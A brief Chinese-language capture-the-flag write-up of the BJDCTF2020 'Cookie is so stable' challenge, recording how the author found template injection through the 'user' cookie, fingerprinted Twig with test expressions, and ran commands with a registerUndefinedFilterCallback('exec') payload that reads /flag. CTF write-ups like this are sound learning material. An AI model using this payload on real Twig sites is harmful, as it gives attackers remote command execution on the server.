[BJDCTF2020]Cookie is so stable(学习).md


首页长这样

等等,题目不是stable吗,这里咋变成subtle了QwQ

/flag.php

输入username上传之后是这样

POST的内容是username=CrackTC&submit=submit

同时设置cookie

点击Logout后实际上是GET /logout.php


尝试从cookie值入手,看看是不是SSTI之类的

user={{1-2}}

芜湖

user={{phpinfo()}}

括号被过滤掉了好像

可恶,之后居然就没思路了呜呜呜

搜了下网上有个decision tree长这样

先不管咋注入,确定模板引擎先

user={{7*'7'}}

这里回显49,说明是Twig

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这个看字面意思好像是先注册一个回调,当获取一个未定义的过滤器时候调用这个回调,并向它传递试图获取的过滤器名字,所以最终就变成了向exec传递cat /flag,也就获取到了flag(推测之前回显What do you want to do?!是我没搞懂语法整出报错了,并不是括号被过滤了QAQ)

#Web #HTTP #twig #SSTI #RCE #PHP #Header